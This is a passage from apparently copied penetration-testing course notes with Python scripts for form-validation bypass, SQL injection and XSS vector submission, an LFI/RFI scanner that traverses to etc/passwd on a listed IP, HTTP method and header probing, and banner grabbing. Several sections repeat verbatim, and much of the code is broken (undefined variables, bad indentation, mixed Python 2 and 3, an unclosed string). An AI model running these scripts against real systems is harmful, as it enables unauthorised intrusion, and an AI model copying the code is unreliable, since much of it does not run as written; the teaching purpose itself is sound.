  2155. Following is a Python script, which uses mechanize to bypass the validation of a web form using  POST  method  to  pass  the  parameter.  The  web  form  can  be  taken  from  the  link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
  2156.  
  2157. To begin with, let us import the mechanize browser:
  2158.  
  2159.  
  2160. ----------------------
  2161. import mechanize
  2162. ----------------------
  2163.  
  2164. Now, we will create an object named brwsr of the mechanize browser:
  2165.  
  2166. -----------------------------
  2167. brwsr = mechanize.Browser()
  2168. -----------------------------
  2169.  
  2170. The next line of code shows that the user agent is not a robot
  2171.  
  2172. --------------------------------
  2173. brwsr.set_handle_robots( False )
  2174. --------------------------------
  2175.  
  2176. Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
  2177.  
  2178. -----------------------------
  2179. url = input("Enter URL ")
  2180. -----------------------------
  2181.  
  2182. Now, following lines will set some parenters to true.
  2183.  
  2184. -----------------------------------
  2185. brwsr.set_handle_equiv(True)
  2186. brwsr.set_handle_gzip(True)
  2187. brwsr.set_handle_redirect(True)
  2188. brwsr.set_handle_referer(True)
  2189. ----------------------------------
  2190.  
  2191.  
  2192. Next it will open the web page and print the web form on that page.
  2193.  
  2194. -----------------------------
  2195. brwsr.open(url)
  2196. for form in brwsr.forms():
  2197.   print(form)
  2198. -----------------------------
  2199.  
  2200. Next line of codes will bypass the validations on the given fields.
  2201.  
  2202. ------------------------------------
  2203. brwsr.select_form(nr=0)
  2204. brwsr.form['name'] = ''
  2205. brwsr.form['gender'] = ''
  2206. brwsr.submit()
  2207. ------------------------------------
  2208.  
  2209. The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
  2210.  
  2211.  
  2212. ################################################
  2213. # Python Penetration Testing — SQLi Web Attack #
  2214. ################################################
  2215.  
  2216.  
  2217.  
  2218. The attack can be categorize into the following two types:
  2219.  
  2220. - In-band SQL injection (Simple SQLi)
  2221. - Inferential SQL injection (Blind SQLi)
  2222.  
  2223.  
  2224. All types of SQLi can be implemented by manipulating input data to the application. In the following  examples,  we  are  writing  a  Python  script  to  inject  attack  vectors  to  the application  and  analyze  the  output  to  verify  the  possibility  of  the  attack.  Here,  we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
  2225.  
  2226.  
  2227. The  following Python  script helps submit  forms  and analyze the  response  using mechanize:
  2228.  
  2229.  
  2230. First of all we need to import the mechanize module.
  2231.  
  2232. -----------------------
  2233. import mechanize
  2234. -----------------------
  2235.  
  2236. Now, provide the name of the URL for obtaining the response after submitting the form.
  2237.  
  2238. -------------------------------------
  2239. url = input("Enter the full url")
  2240. -------------------------------------
  2241.  
  2242. The following line of codes will open the url.
  2243.  
  2244. -----------------------------------
  2245. request = mechanize.Browser()
  2246. request.open(url)
  2247. -----------------------------------
  2248.  
  2249. Now, we need to select the form.
  2250.  
  2251. ---------------------------------
  2252. request.select_form(nr=0)
  2253. ---------------------------------
  2254.  
  2255. Here,we will setthe column name ‘id’.
  2256.  
  2257. ---------------------------------
  2258. request["id"] = "1 OR 1=1"
  2259. ---------------------------------
  2260.  
  2261. Now, we need to submit the form
  2262.  
  2263. ---------------------------------
  2264. response = request.submit()
  2265. content = response.read()
  2266. print(content)
  2267. --------------------------------
  2268.  
  2269. The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
  2270.  
  2271. To begin with, let us import the mechanize module.
  2272.  
  2273. ---------------------------
  2274. import mechanize
  2275. ---------------------------
  2276.  
  2277. Now, provide the name of the URL for obtaining the response after submitting the form.
  2278.  
  2279. ---------------------------------
  2280. url = input("Enter the full url")
  2281.   attack_no = 1
  2282. ---------------------------------
  2283.  
  2284.  
  2285. We need to read the attack vectors from the file
  2286.  
  2287. -------------------------------------
  2288. with open ('vectors.txt') as v:
  2289. -------------------------------------
  2290.  
  2291. Now we will send request with each arrack vector
  2292.  
  2293. -------------------------------
  2294. for line in v:
  2295.   browser.open(url)
  2296. browser.select_form(nr=0)
  2297.   browser["id"] = line
  2298.   res = browser.submit()
  2299. content = res.read()
  2300. ------------------------------
  2301.  
  2302.  
  2303. Now, the following line of code will write the response to the output file.
  2304.  
  2305. -----------------------------------------------------
  2306. output = open('response/'+str(attack_no)+'.txt','w')
  2307. output.write(content)
  2308. output.close()
  2309. print attack_no
  2310. attack_no += 1
  2311. -----------------------------------------------------
  2312.  
  2313.  
  2314. By  checking  and  analyzing  the  responses, we  can  identify  the  possible  attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
  2315.  
  2316.  
  2317. ###############################################
  2318. # Python Penetration Testing — XSS Web Attack #
  2319. ###############################################
  2320.  
  2321.  
  2322. Types of XSS Attack
  2323.  
  2324.  
  2325. The  attack can  be classified into the following major categories:
  2326.  
  2327. -Persistent or stored XSS
  2328. -Non-persistent or reflected XSS
  2329.  
  2330.  
  2331.  
  2332. Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
  2333.  
  2334. To begin with, let us import the mechanize module.
  2335.  
  2336. ------------------------
  2337. import mechanize
  2338. -----------------------
  2339.  
  2340.  
  2341. Now, provide the name of the URL for obtaining the response after submitting the form.
  2342.  
  2343. ----------------------------------
  2344. url = input("Enter the full url")
  2345.   attack_no = 1
  2346. ----------------------------------
  2347.  
  2348. We need to read the attack vectors from the file.
  2349.  
  2350. ---------------------------------------
  2351. with open ('vectors_XSS.txt') as x:
  2352. --------------------------------------
  2353.  
  2354. Now we will send request with each arrack vector
  2355.  
  2356. -------------------------
  2357. for line in x:
  2358.   browser.open(url)
  2359. browser.select_form(nr=0)
  2360.   browser["id"] = line
  2361.   res = browser.submit()
  2362. content = res.read()
  2363.  
  2364. ------------------------
  2365.  
  2366. The following line of code will check the printed attack vector.
  2367.  
  2368. -----------------------------
  2369. if content.find(line) > 0:
  2370.   print("Possible XSS")
  2371.  
  2372. -----------------------------
  2373.  
  2374. The following line of code will write the response to output file.
  2375.  
  2376.  
  2377. -----------------------------------------------------------
  2378. output = open('response/'+str(attack_no)+'.txt','w')
  2379. output.write(content)
  2380. output.close()
  2381. print attack_no
  2382. attack_no += 1
  2383. ----------------------------------------------------------
  2384.  
  2385.  
  2386. *** Full example code: ***
  2387.  
  2388. ------------------------------------------------------------------
  2389. import mechanize
  2390.  
  2391. url = input("Enter the full url")
  2392. attack_no = 1
  2393.  
  2394. with open ('vectors_XSS.txt') as x:
  2395.   for line in x:
  2396.      browser.open(url)
  2397.   browser.select_form(nr=0)
  2398.      browser["id"] = line
  2399.      res = browser.submit()
  2400.   content = res.read()
  2401.  
  2402.   if content.find(line) > 0:
  2403.      print("Possible XSS")
  2404.  
  2405.   output = open('response/'+str(attack_no)+'.txt','w')
  2406.   output.write(content)
  2407.   output.close()
  2408.   print attack_no
  2409.   attack_no += 1
  2410. -----------------------------------------------------------------
  2411.  
  2412. XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we  provided.  If  the  attack  vector  is  present  in  the  response  without  any escape or validation,there is a high possibility of XSS attack.
  2413.  
  2414.  
  2415. ---------------------------Type This-----------------------------------
  2416. nano bannergrab.py
  2417.  
  2418.  
  2419. ---------------------------Paste This----------------------------------
  2420.  
  2421. #!/usr/bin/env python3
  2422. import sys
  2423. import socket
  2424.  
  2425. # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
  2426.  
  2427. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2428. s.connect(("45.63.104.73", 80))
  2429. s.send(("GET / HTTP/1.1\r\n\r\n").encode())
  2430.  
  2431. #Convert response to bytes
  2432. response = b""
  2433. # or use encode()
  2434. #response = "".encode()
  2435.  
  2436. while True:
  2437.    data = s.recv(4096)
  2438.    response += data
  2439.    if not data:
  2440.        break
  2441. s.close()
  2442. print(response.decode())
  2443. ----------------------------------------------------------------------
  2444.  
  2445.  
  2446. ---------------------------Type This-----------------------------------
  2447. python3 bannergrab.py
  2448. -----------------------------------------------------------------------
  2449.  
  2450.  
  2451.  
  2452.  
  2453.  
  2454. ################# Do not do this lab #################
  2455. ---------------------------Type This-----------------------------------
  2456. nano titlegrab.py
  2457.  
  2458.  
  2459. ---------------------------Paste This----------------------------------
  2460. #!/usr/bin/env python3
  2461. import requests
  2462. from bs4 import BeautifulSoup
  2463.  
  2464. def main():
  2465.    print("\nPage URL and Title")
  2466.    print("-----------------------------------------------------------------")
  2467.  
  2468.    urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com']
  2469.  
  2470.    for url in urls:
  2471.        r = requests.get(url)
  2472.        soup = BeautifulSoup(r.text, 'html.parser')
  2473.      
  2474.        print(url + " = " + soup.title.string)
  2475.      
  2476. if __name__ == "__main__":
  2477.    main()
  2478. ----------------------------------------------------------------------
  2479. ################# end of lab that doesn't work #################
  2480.  
  2481.  
  2482. ---------------------------Type This-----------------------------------
  2483. nano LFI-RFI.py
  2484.  
  2485.  
  2486. ---------------------------Paste This----------------------------------
  2487.  
  2488. #!/usr/bin/env python3
  2489. print("\n### PHP LFI/RFI Detector ###")
  2490.  
  2491. import urllib.request, urllib.error, urllib.parse,re,sys
  2492.  
  2493. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  2494. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  2495. TravLimit = 12
  2496.  
  2497. print("==> Testing for LFI vulns..")
  2498. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  2499. for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
  2500.    TARGET += "../"
  2501.    try:
  2502.        source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
  2503.    except urllib.error.URLError as e:
  2504.        print("$$$ We had an Error:",e)
  2505.        sys.exit(0)
  2506.    if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  2507.        print("!! ==> LFI Found:",TARGET+"etc/passwd")
  2508.        break ## BREAK LOOP WHEN VULN FOUND
  2509.  
  2510. print("\n==> Testing for RFI vulns..")
  2511. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  2512. try:
  2513.    source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
  2514. except urllib.error.URLError as e:
  2515.    print("$$$ We had an Error:",e)
  2516.    sys.exit(0)
  2517. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  2518.    print("!! => RFI Found:",TARGET)
  2519.    
  2520. print("\nScan Complete\n") ## DONE
  2521. ----------------------------------------------------------------------
  2522.  
  2523.  
  2524.  
  2525.  
  2526. ---------------------------Type This-----------------------------------
  2527. python3 LFI-RFI.py
  2528. -----------------------------------------------------------------------
  2529.  
  2530.  
  2531.  
  2532.  
  2533.  
  2534. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  2535.  
  2536. ################################################
  2537. # Python Penetration Testing—Application Layer #
  2538. ################################################
  2539.  
  2540. ########################################
  2541. # Testing availability of HTTP methods #
  2542. ########################################
  2543.  
  2544. A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
  2545. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:  
  2546.  
  2547. To begin with, we need to import the requests library:
  2548.  
  2549. ---------------------------
  2550. import requests
  2551. ---------------------------
  2552.  
  2553. After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
  2554.  
  2555. ----------------------------------------------------------------------------
  2556. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  2557. ----------------------------------------------------------------------------
  2558.  
  2559. The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
  2560.  
  2561. ------------------------------------------------------
  2562. for method in method_list:
  2563.    req = requests.request(method, 'Enter the URL’)
  2564.   print (method, req.status_code, req.reason)
  2565. ------------------------------------------------------
  2566.  
  2567. The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
  2568.  
  2569. -------------------------------------------------------------
  2570. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  2571.   print ('Cross Site Tracing(XST) is possible')
  2572. -------------------------------------------------------------
  2573.  
  2574.  
  2575. *** Full code with example url: ***
  2576.  
  2577. ---------------------------Type This-----------------------------------
  2578. nano xst.py
  2579.  
  2580.  
  2581. ---------------------------Paste This----------------------------------
  2582. import requests
  2583. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  2584. for method in method_list:
  2585.   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  2586.   print (method, req.status_code, req.reason)
  2587. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  2588.   print ('Cross Site Tracing(XST) is possible')
  2589.  
  2590. -------------------------------------------------------------------------
  2591.  
  2592.  
  2593. After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
  2594.  
  2595.  
  2596. ---------------------------Type This-----------------------------------
  2597. python3 xst.py
  2598. -----------------------------------------------------------------------
  2599.  
  2600. ##########################################
  2601. # Foot printing by checking HTTP headers #
  2602. ##########################################
  2603.  
  2604.  
  2605. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
  2606.  
  2607. To begin with, let us import the requests library:
  2608.  
  2609. ------------------------
  2610. import requests
  2611. ------------------------
  2612.  
  2613. We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
  2614.  
  2615. ---------------------------------------------
  2616. request = requests.get('enter the URL')
  2617. ---------------------------------------------
  2618.  
  2619. Next, we will generate a list of headers about which you need the information.
  2620.  
  2621. ---------------------------------------------------------------------------------------------------------------
  2622. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  2623. ---------------------------------------------------------------------------------------------------------------
  2624.  
  2625. Next is a try and except block.
  2626.  
  2627. ---------------------------------------------------
  2628. for header in header_list:
  2629.  
  2630.   try:
  2631.      result = request.headers[header]
  2632.      print ('%s: %s' % (header, result))
  2633.   except Exception as err:
  2634.         print ('%s: No Details Found' % header)
  2635.  
  2636. ---------------------------------------------------
  2637.  
  2638.  
  2639.  
  2640.  
  2641. *** Example Full Code: ***
  2642.  
  2643. ---------------------------Type This-----------------------------------
  2644. nano headercheck.py
  2645.  
  2646.  
  2647. ---------------------------Paste This----------------------------------
  2648. #!/usr/bin/env python3
  2649. import requests
  2650. request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
  2651. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  2652. for header in header_list:
  2653.      try:
  2654.         result = request.headers[header]
  2655.         print ('%s: %s' % (header, result))
  2656.      except Exception as err:
  2657.               print ('%s: No Details Found' % header)
  2658. ----------------------------------------------------------------------------------------------------------------
  2659.  
  2660.  
  2661. After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
  2662.  
  2663.  
  2664. ---------------------------Type This-----------------------------------
  2665. python3 headercheck.py
  2666. -----------------------------------------------------------------------
  2667.  
  2668.  
  2669. ##############################################
  2670. # Testing insecure web server configurations #
  2671. ##############################################
  2672.  
  2673. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
  2674. ---------------------------Type This-----------------------------------
  2675. nano websites.txt
  2676.  
  2677. ---------------------------Paste This----------------------------------
  2678. https://www.google.com
  2679. https://www.cnn.com
  2680. https://foxnews.com
  2681. -----------------------------------------------------------------------
  2682.  
  2683.  
  2684.  
  2685.  
  2686. ---------------------------Type This-----------------------------------
  2687. nano insecure_config_check.py
  2688.  
  2689.  
  2690. ---------------------------Paste This----------------------------------
  2691. #!/usr/bin/eve python3
  2692. import requests
  2693. urls = open("websites.txt", "r")
  2694. for url in urls:
  2695.   url = url.strip()
  2696.   req = requests.get(url)
  2697.   print (url, 'report:')
  2698.   try:
  2699.      protection_xss = req.headers['X-XSS-Protection']
  2700.      if protection_xss != '1; mode=block':
  2701.         print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
  2702.   except:
  2703.      print ('X-XSS-Protection not set, it may be possible')
  2704.   try:
  2705.      options_content_type = req.headers['X-Content-Type-Options']
  2706.      if options_content_type != 'nosniff':
  2707.         print ('X-Content-Type-Options not set properly:', options_content_type)
  2708.   except:
  2709.      print ('X-Content-Type-Options not set')
  2710.   try:
  2711.      transport_security = req.headers['Strict-Transport-Security']
  2712.   except:
  2713.      print ('HSTS header not set properly, Man in the middle attacks is possible')
  2714.   try:
  2715.      content_security = req.headers['Content-Security-Policy']
  2716.      print ('Content-Security-Policy set:', content_security)
  2717.   except:
  2718.      print ('Content-Security-Policy missing')
  2719.  
  2720. -----------------------------------------------------------------------
  2721.  
  2722.  
  2723. ---------------------------Type This-----------------------------------
  2724. python3 insecure_config_check.py
  2725. -----------------------------------------------------------------------
  2726.  
  2727.  
  2728. #####################################
  2729. # Footprinting of a Web Application #
  2730. #####################################
  2731.  
  2732. Methods for Footprinting of a Web Application
  2733.  
  2734.  
  2735. Gathering information using parser BeautifulSoup
  2736.  
  2737.  
  2738. Suppose we want to collect all the hyperlinks from  a  web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
  2739.  
  2740. To  begin  with,  let  us import  the  necessary  packages. We  will  import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
  2741.  
  2742. --------------------------------------
  2743. apt-get install python3-bs4             <-- This is already installed. You don't have to do this step
  2744. --------------------------------------
  2745.  
  2746. ---------------------------Type This-----------------------------------
  2747. $ python3
  2748. import urllib
  2749. from bs4 import BeautifulSoup
  2750. -----------------------------------------------------------------------
  2751.  
  2752. The Python script given below will gather the title of web page andhyperlinks:
  2753.  
  2754. Now,  we  need  a variable,  which can  store  the  URL  of  the  website.  Here, we  will  use  avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
  2755.  
  2756.  
  2757. ---------------------------Type This-----------------------------------
  2758. from urllib.request import urlopen
  2759.  
  2760. url = 'http://www.python.org'
  2761. file = urlopen(url)
  2762. html_page = file.read()
  2763. -----------------------------------------------------------------------
  2764.  
  2765. The html_page will be assigned as an input to create soup object.
  2766.  
  2767. ---------------------------Type This-----------------------------------
  2768. soup_object = BeautifulSoup(html_page)
  2769. -----------------------------------------------------------------------
  2770.  
  2771. Following two lines will print the title name with tags and without tags respectively.
  2772.  
  2773. ---------------------------Type This-----------------------------------
  2774. print(soup_object.title)
  2775. print(soup_object.title.text)
  2776. -----------------------------------------------------------------------
  2777.  
  2778. The line of code shown below will save all the hyperlinks.
  2779.  
  2780. ---------------------------Type This-----------------------------------
  2781. for link in soup_object.find_all('a'):
  2782.    print(link.get('href'))
  2783. -----------------------------------------------------------------------
  2784.  
  2785.  
  2786.  
  2787.  
  2788. *** Full example code: ***
  2789.  
  2790. ---------------------------Type This-----------------------------------
  2791.  
  2792. import urllib
  2793.  
  2794. from bs4 import BeautifulSoup
  2795.  
  2796. from urllib.request import urlopen
  2797.  
  2798. url = 'http://www.python.org'
  2799. file = urlopen(url)
  2800. html_page = file.read()
  2801. print(html_page)
  2802.  
  2803. soup_object= BeautifulSoup(html_page)
  2804.  
  2805.  
  2806. print(soup_object.title)
  2807. print(soup_object.title.text)
  2808.  
  2809.  
  2810. for link in soup_object.find_all('a'):
  2811.    print(link.get('href'))
  2812.  
  2813. -----------------------------------------------------------------------
  2814.  
  2815.  
  2816. ###################
  2817. # Banner grabbing #
  2818. ###################
  2819.  
  2820.  
  2821. The following Python script helps grab the banner using socket programming:
  2822.  
  2823. ------------------------------------------------------------------------------
  2824. import socket
  2825.  
  2826. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
  2827.  
  2828. host = input("Enter the host name: ")
  2829. port = int(input("Enter Port: "))
  2830.  
  2831.  
  2832. # host = '192.168.1.54'
  2833. # port = 22
  2834.  
  2835. s.connect((host, port))
  2836.  
  2837. try:
  2838.     s.send(b'GET HTTP/1.1 \r\n')
  2839.     ret = s.recv(1024)
  2840.     print('[+]{}'.format(ret))
  2841. except Exception as e:
  2842.     print('[-] Not information grabbed: {}'.format(e))
  2843. -------------------------------------------------------------------------------
  2844.  
  2845. After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
  2846.  
  2847.  
  2848. ###################################################
  2849. # Server-side Validation & Client-side Validation #
  2850. ###################################################
  2851.  
  2852.  
  2853. #######################################
  2854. # Python Module for Validation Bypass #
  2855. #######################################
  2856.  
  2857.  
  2858. The Python module that we are going to useis mechanize. Itis a Python web browser, whichis  providing  the  facility  of  obtaining  web  forms  in  a  web  page  and  facilitates  the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
  2859.  
  2860. ---------------------------------
  2861. pip3 install mechanize              <-- This is already installed. You don't have to do this step
  2862. ---------------------------------
  2863.  
  2864.  
  2865.  
  2866. Following is a Python script, which uses mechanize to bypass the validation of a web form using  POST  method  to  pass  the  parameter.  The  web  form  can  be  taken  from  the  link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
  2867.  
  2868. To begin with, let us import the mechanize browser:
  2869.  
  2870.  
  2871. ----------------------
  2872. import mechanize
  2873. ----------------------
  2874.  
  2875. Now, we will create an object named brwsr of the mechanize browser:
  2876.  
  2877. -----------------------------
  2878. brwsr = mechanize.Browser()
  2879. -----------------------------
  2880.  
  2881. The next line of code shows that the user agent is not a robot
  2882.  
  2883. --------------------------------
  2884. brwsr.set_handle_robots( False )
  2885. --------------------------------
  2886.  
  2887. Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
  2888.  
  2889. -----------------------------
  2890. url = input("Enter URL ")
  2891. -----------------------------
  2892.  
  2893. Now, following lines will set some parenters to true.
  2894.  
  2895. -----------------------------------
  2896. brwsr.set_handle_equiv(True)
  2897. brwsr.set_handle_gzip(True)
  2898. brwsr.set_handle_redirect(True)
  2899. brwsr.set_handle_referer(True)
  2900. ----------------------------------
  2901.  
  2902.  
  2903. Next it will open the web page and print the web form on that page.
  2904.  
  2905. -----------------------------
  2906. brwsr.open(url)
  2907. for form in brwsr.forms():
  2908.   print(form)
  2909. -----------------------------
  2910.  
  2911. Next line of codes will bypass the validations on the given fields.
  2912.  
  2913. ------------------------------------
  2914. brwsr.select_form(nr=0)
  2915. brwsr.form['name'] = ''
  2916. brwsr.form['gender'] = ''
  2917. brwsr.submit()
  2918. ------------------------------------
  2919.  
  2920. The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
  2921.  
  2922.  
  2923. ################################################
  2924. # Python Penetration Testing — SQLi Web Attack #
  2925. ################################################
  2926.  
  2927.  
  2928.  
  2929. The attack can be categorize into the following two types:
  2930.  
  2931. - In-band SQL injection (Simple SQLi)
  2932. - Inferential SQL injection (Blind SQLi)
  2933.  
  2934.  
  2935. All types of SQLi can be implemented by manipulating input data to the application. In the following  examples,  we  are  writing  a  Python  script  to  inject  attack  vectors  to  the application  and  analyze  the  output  to  verify  the  possibility  of  the  attack.  Here,  we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
  2936.  
  2937.  
  2938. The  following Python  script helps submit  forms  and analyze the  response  using mechanize:
  2939.  
  2940.  
  2941. First of all we need to import the mechanize module.
  2942.  
  2943. -----------------------
  2944. import mechanize
  2945. -----------------------
  2946.  
  2947. Now, provide the name of the URL for obtaining the response after submitting the form.
  2948.  
  2949. -------------------------------------
  2950. url = input("Enter the full url")
  2951. -------------------------------------
  2952.  
  2953. The following line of codes will open the url.
  2954.  
  2955. -----------------------------------
  2956. request = mechanize.Browser()
  2957. request.open(url)
  2958. -----------------------------------
  2959.  
  2960. Now, we need to select the form.
  2961.  
  2962. ---------------------------------
  2963. request.select_form(nr=0)
  2964. ---------------------------------
  2965.  
  2966. Here,we will setthe column name ‘id’.
  2967.  
  2968. ---------------------------------
  2969. request["id"] = "1 OR 1=1"
  2970. ---------------------------------
  2971.  
  2972. Now, we need to submit the form
  2973.  
  2974. ---------------------------------
  2975. response = request.submit()
  2976. content = response.read()
  2977. print(content)
  2978. --------------------------------
  2979.  
  2980. The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
  2981.  
  2982. To begin with, let us import the mechanize module.
  2983.  
  2984. ---------------------------
  2985. import mechanize
  2986. ---------------------------
  2987.  
  2988. Now, provide the name of the URL for obtaining the response after submitting the form.
  2989.  
  2990. ---------------------------------
  2991. url = input("Enter the full url")
  2992.   attack_no = 1
  2993. ---------------------------------
  2994.  
  2995.  
  2996. We need to read the attack vectors from the file
  2997.  
  2998. -------------------------------------
  2999. with open ('vectors.txt') as v:
  3000. -------------------------------------
  3001.  
  3002. Now we will send request with each arrack vector
  3003.  
  3004. -------------------------------
  3005. for line in v:
  3006.   browser.open(url)
  3007. browser.select_form(nr=0)
  3008.   browser["id"] = line
  3009.   res = browser.submit()
  3010. content = res.read()
  3011. ------------------------------
  3012.  
  3013.  
  3014. Now, the following line of code will write the response to the output file.
  3015.  
  3016. -----------------------------------------------------
  3017. output = open('response/'+str(attack_no)+'.txt','w')
  3018. output.write(content)
  3019. output.close()
  3020. print attack_no
  3021. attack_no += 1
  3022. -----------------------------------------------------
  3023.  
  3024.  
  3025. By  checking  and  analyzing  the  responses, we  can  identify  the  possible  attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
  3026.  
  3027.  
  3028. ###############################################
  3029. # Python Penetration Testing — XSS Web Attack #
  3030. ###############################################
  3031.  
  3032.  
  3033. Types of XSS Attack
  3034.  
  3035.  
  3036. The  attack can  be classified into the following major categories:
  3037.  
  3038. -Persistent or stored XSS
  3039. -Non-persistent or reflected XSS
  3040.  
  3041.  
  3042.  
  3043. Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
  3044.  
  3045. To begin with, let us import the mechanize module.
  3046.  
  3047. ------------------------
  3048. import mechanize
  3049. -----------------------
  3050.  
  3051.  
  3052. Now, provide the name of the URL for obtaining the response after submitting the form.
  3053.  
  3054. ----------------------------------
  3055. url = input("Enter the full url")
  3056.   attack_no = 1
  3057. ----------------------------------
  3058.  
  3059. We need to read the attack vectors from the file.
  3060.  
  3061. ---------------------------------------
  3062. with open ('vectors_XSS.txt') as x:
  3063. --------------------------------------
  3064.  
  3065. Now we will send request with each arrack vector
  3066.  
  3067. -------------------------
  3068. for line in x:
  3069.   browser.open(url)
  3070. browser.select_form(nr=0)
  3071.   browser["id"] = line
  3072.   res = browser.submit()
  3073. content = res.read()
  3074.  
  3075. ------------------------
  3076.  
  3077. The following line of code will check the printed attack vector.
  3078.  
  3079. -----------------------------
  3080. if content.find(line) > 0:
  3081.   print("Possible XSS")
  3082.  
  3083. -----------------------------
  3084.  
  3085. The following line of code will write the response to output file.
  3086.  
  3087.  
  3088. -----------------------------------------------------------
  3089. output = open('response/'+str(attack_no)+'.txt','w')
  3090. output.write(content)
  3091. output.close()
  3092. print attack_no
  3093. attack_no += 1
  3094. ----------------------------------------------------------
  3095.  
  3096.  
  3097. *** Full example code: ***
  3098.  
  3099. ------------------------------------------------------------------
  3100. import mechanize
  3101.  
  3102. url = input("Enter the full url")
  3103. attack_no = 1
  3104.  
  3105. with open ('vectors_XSS.txt') as x:
  3106.   for line in x:
  3107.      browser.open(url)
  3108.   browser.select_form(nr=0)
  3109.      browser["id"] = line
  3110.      res = browser.submit()
  3111.   content = res.read()
  3112.  
  3113.   if content.find(line) > 0:
  3114.      print("Possible XSS")
  3115.  
  3116.   output = open('response/'+str(attack_no)+'.txt','w')
  3117.   output.write(content)
  3118.   output.close()
  3119.   print attack_no
  3120.   attack_no += 1
  3121. -----------------------------------------------------------------
  3122.  
  3123. XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we  provided.  If  the  attack  vector  is  present  in  the  response  without  any escape or validation,there is a high possibility of XSS attack.
  3124.  
  3125.  
  3126. ##################################
  3127. # Burp Extension Python Tutorial #
  3128. ##################################
  3129.  
  3130. Reference link for this lab exercise:
  3131. https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/
